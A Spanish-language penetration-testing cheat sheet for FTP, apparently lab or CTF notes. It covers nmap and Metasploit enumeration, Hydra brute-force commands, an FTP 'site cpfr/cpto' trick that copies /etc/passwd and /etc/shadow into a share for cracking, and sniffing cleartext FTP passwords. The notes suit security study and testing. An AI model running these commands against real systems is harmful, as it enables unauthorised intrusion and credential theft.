Enumeracion con metasploit #
search type:auxiliary name:ftp
Escaneo vulnerabilidades FTP #
nmap <ip> -p <puerto> -n -Pn --script=ftp-anon
nmap <ip> -p <puerto> -n -Pn --script=ftp*
Ataques fuerza bruta #
Hydra #
# Cuando tengo el usuario y quiero sacar la contraseña
hydra -l <usuario> -P /usr/share/wordlists/rockyou.txt ftp://10.10.10.10
# Cuando tengo una contraseña y quiero sacar el usuario
hydra -L /usr/share/wordlists/metasploit/unix_users.txt <usuario> -p password123 ftp://10.10.10.10
- -l minúscula especifica un usuario en concreto
- -L mayúscila especifica un diccionario de usuarios
- -p minúscula (mismo para contraseñas)
- -P mayúscula (mismo para contraseñas)
Metasploit #
# search ftp_login, seleccionamos auxiliary/scanner/ftp/ftp_login
Completamos los datos necesarios y "run"
Vulnerabilidad File Copy #
En cierta version de FTP podemos copiar ficheros entre directorios de la máquina. Esto interesa cuando se combina con que tenemos un SMB y podemos acceder a los recursos compartidos.
Podemos copiar los ficheros passwd y shadow al directorio del recurso compartido y descargarlo para crackearlo. El funcionamiento es el siguiente:
# Intentamos un login (aunque sea falso), dará error pero recibiremos un prompt
ftp usuario@ip
#Ahora hacemos la magia
site cpfr /etc/passwd
site cpto /home/aeolus/shared/passwd
site cpfr /etc/shadow
site cpto /home/aeolus/shared/shadow
Varios FTP #
#Descargar de forma recursiva todo de un FTP
wget -r ftp://"<user>":"<pass>"@ip
Sniff FTP #
FTP por defecto no cifra el tráfico, si tenemos la casualidad que podemos esnifar tráfico, pertenecemos al grupo pcap, o tenemos algun privilegio. Podríamos escuchar peticiones al puerto 21 y tratar de obtener contraseñas de acceso en claro.
tcpdump -i lo -v